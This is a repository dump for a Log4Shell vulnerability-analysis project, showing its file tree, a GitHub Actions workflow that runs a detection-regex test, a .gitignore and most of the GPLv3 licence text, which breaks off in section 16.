├── .github
└── workflows
│ └── test-detection-regex-for-bypass.yml
├── .gitignore
├── LICENSE
├── README.md
├── analysis
├── 06-STUDIES
│ └── 04-Log4Shell_Vulnerability.md
└── _resources
│ ├── 03825d83e194e1fd6ad9424365563164.png
│ ├── 090b547c2ee9577d049d5f06a366a255.png
│ ├── 0c073485244185cac60a1123157f26db.png
│ ├── 0de487df59902062298285c682c8c49d.png
│ ├── 12986762049ae62e076290dc632b7c93.png
│ ├── 1306e199154435e85f333b8075499760.png
│ ├── 1758c686ff3a220a523359384d125920.png
│ ├── 177779480e61d8d50c8d29bc0713fc85.png
│ ├── 182157e3c3a155bc42191d0396061479.png
│ ├── 18bfb79d74a6b813785b82b55647192a.png
│ ├── 1cb74c7fa340bca9961a758a91e1c59a.png
│ ├── 1eb3f0dce6780f32a8bc8789b62d5bfa.png
│ ├── 293347b0e4ebb96b5a32975ae4ecd323.png
│ ├── 3100adc4e79b2ce1d375d99ee9be2bab.png
│ ├── 313927e3ba8f8a4626b3f35880d5ae2f.png
│ ├── 3c0e46923da3c81f6f2ae672178030c1.png
│ ├── 424473a819335c8fb1e18ce048b4af06.png
│ ├── 47b8e44f08dbdeb1fe643fae42ac3c2c.png
│ ├── 4a7aba5e6f83ee9ada7b7717846717e8.png
│ ├── 4a80de42803d382f0ffbf6ad5573cea3.png
│ ├── 4de5250e68f96b02b3814994e8ba43df.png
│ ├── 4ee4ba67f0c8bc519ecff2b7ec2860ce.png
│ ├── 4f6331ce3e2fc85975b7578d724666e7.png
│ ├── 518d2dbb1493aabfa352583aec24b324.png
│ ├── 51ce94949b2ae7a6f6011a5a14e6ed39.png
│ ├── 5268409280f31de07a7013e234f572ea.png
│ ├── 52b903901e23eaaa20e242d4c6027351.png
│ ├── 52f988156938f762866840a2d46ee5d7.png
│ ├── 55b2ba138fb25f77a49f16a38f02456c.png
│ ├── 55e511ab5ac499f13a17fe6bef094403.png
│ ├── 5709dcfc4b1138c2f1d66b53607fa23b.png
│ ├── 5c78afd9a5886e5c6bb649789f9c97c8.png
│ ├── 6471540616f2b56f3692c78377d1cec1.png
│ ├── 6f5cc1740684b40d24de1f53c2e8a3c2.png
│ ├── 6fa251c292e09e04c1393746aad1060c.png
│ ├── 70b4a3fd2f99f1d02481f2acf8813f90.png
│ ├── 7cec2f3c5f772d1e0adda4da08246f83.png
│ ├── 7d7b37f3c825c3483732a60be2cbca20.png
│ ├── 7d9659e6cd22bcfedcf4cf852945cae8.png
│ ├── 7f28be35d6aa4538a70b5461f74d3520.png
│ ├── 7fa7a02c858f9967703de2a338f3c5c2.png
│ ├── 804db11902e68e9baa9379414d5feb71.png
│ ├── 82b95916d5692c64f8668e4adc79a7b2.png
│ ├── 854d06de3aa3257384be6bb094ea492e.png
│ ├── 8844536be52b20f086f6d0287c55f7ea.png
│ ├── 8cc2027fbfd5b8fe770477fc99d94998.png
│ ├── 93627fbbb3394b65e79b09d83b6df868.png
│ ├── 956b6e4a081325eb02d67fb29722bce1.png
│ ├── 9e65cb9876e62566315c7bca34151c61.png
│ ├── 9f16f7df7f14f9091be31c8fdbbcbb27.png
│ ├── 9fc205bf45e2b9616f7138da0653139d.png
│ ├── a1de449a38ac139e7dfe75905cd0c04d.png
│ ├── aa8cf0fc8f2d4d0d117b53689886d486.png
│ ├── adbfbccf0c51fdc4ca4624730aa176e2.png
│ ├── b02d8e797e7097bcf24e5fa2e28407e2.png
│ ├── bca1d08014ebe058934ec05db8c4b851.png
│ ├── be7dfc5206b50cb905251071df33c5d4.png
│ ├── c356976510c54f5452b8c4be28361e44.png
│ ├── c5a8d0c6efb9cf44b2f0f1c5a929937b.png
│ ├── ca8aa1934de265d795e1501f66a383c7.png
│ ├── ce2500904ac46adffbebb93521119a80.png
│ ├── d5a0ff95685ddb90d706daa375ae882e.png
│ ├── d90cdc0be28eb2de9b3d99027433b064.png
│ ├── e6450a22f6c1cd29f11228946fe00599.png
│ ├── e930cf4a7c9e3ddf29a853ad9a99fec3.png
│ ├── f10ca4a1152363b71641fcf6400557a9.png
│ ├── f2b86462af2261f96c3753b03558242c.png
│ └── f7cb207ba192ba1c8b2a17f163b3ce21.png
├── payloads
└── README.md
├── playground
├── BBlog4j - core - 2.14.1.jar
├── dom4j-1.1.jar
├── ear files
│ └── HelloWorldApp.ear
└── war files
│ ├── Lab6A.war
│ └── sample.war
├── sandbox
├── .idea
│ ├── .gitignore
│ ├── compiler.xml
│ ├── dictionaries
│ │ └── drighetto.xml
│ ├── encodings.xml
│ ├── jarRepositories.xml
│ ├── libraries
│ │ ├── Maven__junit_junit_4_12.xml
│ │ ├── Maven__org_apache_logging_log4j_log4j_api_2_16_0.xml
│ │ ├── Maven__org_apache_logging_log4j_log4j_core_2_16_0.xml
│ │ └── Maven__org_hamcrest_hamcrest_core_1_3.xml
│ ├── misc.xml
│ ├── modules.xml
│ ├── runConfigurations.xml
│ ├── runConfigurations
│ │ └── sandbox__clean_compile_.xml
│ ├── uiDesigner.xml
│ └── vcs.xml
├── all-versions.txt
├── data.txt
├── log4shell.iml
├── pom.xml
├── src
│ ├── main
│ │ ├── java
│ │ │ └── eu
│ │ │ │ └── righettod
│ │ │ │ ├── Sandbox45105.java
│ │ │ │ ├── SandboxJndi.java
│ │ │ │ └── SandboxPrefixes.java
│ │ └── resources
│ │ │ ├── config.properties
│ │ │ └── log4j2.xml
│ └── test
│ │ └── java
│ │ ├── eu
│ │ └── righettod
│ │ │ ├── Log4ShellDOSExposureTest.java
│ │ │ ├── Log4ShellExposureTest.java
│ │ │ ├── Log4ShellExposureTestFormatMsgNoLookupsBypass.java
│ │ │ └── Log4ShellExposureTestFormatMsgNoLookupsBypassWithPrintf.java
│ │ └── internals
│ │ └── DetectionRegexBypassTest.java
├── testDOSExposure.sh
├── testDefaultExposure.sh
├── testFormatMsgNoLookupsBypass.sh
└── versions.txt
├── scripts
├── identify-log4j-class-location.sh
├── identify-tcm-expressions-usage.sh
└── jd-cli.jar
├── toc-location.png
├── videos
└── CVE-2021-44832_TestCfgAutoReload.mp4
└── workspace.code-workspace
/.github/workflows/test-detection-regex-for-bypass.yml:
--------------------------------------------------------------------------------
1 | name: Test detection regex for bypass
2 | on:
3 | push:
4 | branches: [ main ]
5 | pull_request:
6 | branches: [ main ]
7 | jobs:
8 | build:
9 | runs-on: ubuntu-latest
10 | steps:
11 | - uses: actions/checkout@v2
12 | - name: Set up JDK 11
13 | uses: actions/setup-java@v2
14 | with:
15 | java-version: '11'
16 | distribution: 'adopt'
17 | cache: maven
18 | - name: Run dedicated test case
19 | run: mvn -D"test=DetectionRegexBypassTest" -B clean test --file sandbox/pom.xml
20 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | sandbox/target/
2 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
